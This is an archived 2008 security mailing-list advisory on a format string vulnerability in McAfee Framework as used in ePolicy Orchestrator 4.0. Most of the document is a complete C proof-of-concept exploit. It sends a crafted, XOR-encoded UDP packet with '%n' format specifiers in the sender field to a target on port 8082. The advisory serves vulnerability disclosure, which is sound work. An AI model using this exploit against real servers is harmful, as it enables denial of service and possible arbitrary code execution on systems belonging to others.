[NT] McAfee Framework Format String
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 16 Mar 2008 12:18:07 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
McAfee Framework Format String
------------------------------------------------------------------------
SUMMARY
<http://www.mcafee.com/us/enterprise/products/system_security_management/epolicy_orchestrator.html> McAfee Framework is "a framework used for building various services for the McAfee products. These services include HTTP servers and agents implemented, for example, in McAfee ePolicy Orchestrator and possibly other products". A format string vulnerability has been found in the McAfee framework, which in turn can lead to elevated privileges as well as arbitrary code execution.
DETAILS
Vulnerable Systems:
* McAfee Framework version 3.6.0.569 (implemented in McAfee ePolicy
Orchestrator 4.0)
The logDetail function of applib.dll (which is just a link to
naimcomn_LogDetailW -> _naimcomn_Log in nailog2.dll) is used for adding
new log entries and is affected by a format string vulnerability caused by
the calling of vsnwprintf without the needed format argument.
In McAfee ePolicy Orchestrator this vulnerability can be exploited through
the sending of a simple UDP packet with a malformed sender, package or
computer field. The output log file Agent_HOSTNAME.log is located in the
Db folder.
Exploit:
/*
by Luigi Auriemma - http://aluigi.org/poc/meccaffi.zip
*/
#include
#include
#include
#include
#ifdef WIN32
#include
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#else
#include
#include
#include
#include
#include
#include
#define ONESEC 1
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.1"
#define PORT 8082
#define BUFFSZ 2048
int meccaffi_send(int sd, struct sockaddr_in *peer, u8 *data1, int
data1len, u8 *data2, int data2len);
int putcc(u8 *data, int chr, int len);
int putsn(u8 *data, u8 *str, int len);
int putmm(u8 *data, u8 *str, int len);
int putxx(u8 *data, u32 num, int bits);
int timeout(int sock, int secs);
u32 resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd;
u16 port = PORT;
u8 buff1[BUFFSZ],
buff2[BUFFSZ],
*p1,
*p2;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"McAfee Framework <= 3.6.0.569 (ePolicy Orchestrator 4.0) format string
"VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@xxxxxxxxxxxxx\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s [port(%hu)]\n"
"\n", argv[0], port);
exit(1);
}
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(argv[1]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr),
ntohs(peer.sin_port));
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
p1 = buff1;
p1 += putsn(p1, "sender_%08x_%n%n%s%n%n%s", 0x40); // sender
p1 += putsn(p1, "package_%08x", 0x40); // package
p1 += putxx(p1, 0, 32); // type
p1 += putsn(p1, "computer_%08x", 0x50); // computer
p1 += sprintf(p1, "I'm not interested to the rest of the protocol");
p2 = buff2;
meccaffi_send(sd, &peer, buff1, p1 - buff1, buff2, p2 - buff2);
sleep(ONESEC);
close(sd);
printf("- done\n");
return(0);
}
int meccaffi_send(int sd, struct sockaddr_in *peer, u8 *data1, int
data1len, u8 *data2, int data2len) {
u8 buff[BUFFSZ],
*enc,
*p;
p = buff;
p += sprintf(p, "Type=\"AgentWakeup\"DataSize=\"%d\"", 22 + data1len +
data2len);
enc = p;
*p++ = 'P';
*p++ = 'O';
p += putxx(p, data1len, 32);
p += putxx(p, data2len, 32);
p += putxx(p, 0, 32);
p += putxx(p, 0, 32);
p += putxx(p, 0, 32);
p += putmm(p, data1, data1len);
p += putmm(p, data2, data2len);
while(enc < p) *enc++ ^= 0xaa;
printf("- send %d bytes\n", p - buff);
sendto(sd, buff, p - buff, 0, (struct sockaddr *)peer, sizeof(struct
sockaddr_in));
return(0);
}
int putcc(u8 *data, int chr, int len) {
memset(data, chr, len);
return(len);
}
int putsn(u8 *data, u8 *str, int len) {
strncpy(data, str, len);
return(len);
}
int putmm(u8 *data, u8 *str, int len) {
memcpy(data, str, len);
return(len);
}
int putxx(u8 *data, u32 num, int bits) {
int i,
bytes;
bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
data[i] = (num >> (i << 3)) & 0xff;
}
return(bytes);
}
int timeout(int sock, int secs) {
struct timeval tout;
fd_set fd_read;
tout.tv_sec = secs;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
if(select(sock + 1, &fd_read, NULL, NULL, &tout)
<= 0) return(-1);
return(0);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
ADDITIONAL INFORMATION
The information has been provided by <mailto:aluigi@xxxxxxxxxxxxx> Luigi
Auriemma.
The original article can be found at:
<http://aluigi.altervista.org/adv/meccaffi-adv.txt>
http://aluigi.altervista.org/adv/meccaffi-adv.txt
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [NT] Vulnerabilities in Microsoft Office Allows Code Execution (MS08-016)
- Next by Date: [NEWS] MG-SOFT Net Inspector Multiple Vulnerabilities
- Previous by thread: [NT] Vulnerabilities in Microsoft Office Allows Code Execution (MS08-016)
- Next by thread: [NEWS] MG-SOFT Net Inspector Multiple Vulnerabilities
- Index(es):
Relevant Pages
- [NEWS] Outgun Multiple Vulnerabilities (Multiple DoS, Multiple Buffer Overflows)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Multiple Buffer Overflows)
... The buffers in which the server stores these two strings have a size of 64 ...
int alen, ulen; ... (Securiteam) - [NT] Borland VisiBroker Smart Agent Heap Overflow
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Smart Agent binds the UDP port
14000 and an UDP and TCP port which changes ... int putcc; ... int putxx(u8 *data,
u32 num, int bits); ... (Securiteam) - [UNIX] Cfengine Remotely Exploitable Buffer Overflow (net.c)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... cfservd daemon in Cfengine
2.x prior to version 2.0.8. ... unsigned int len = 0; ... void getshell;
... (Securiteam) - [NT] RPM Remote Print Manager Unicode Buffer Overflow
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... int timeout; ...
u32 resolv; ... struct sockaddr_in peer; ... (Securiteam) - [NT] Stronghold DoS
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... In the packet used for joining
the server is locatd the client's nickname ... unsigned char *gssdkcr( ...
void show_info(u_char *data, int len); ... (Securiteam)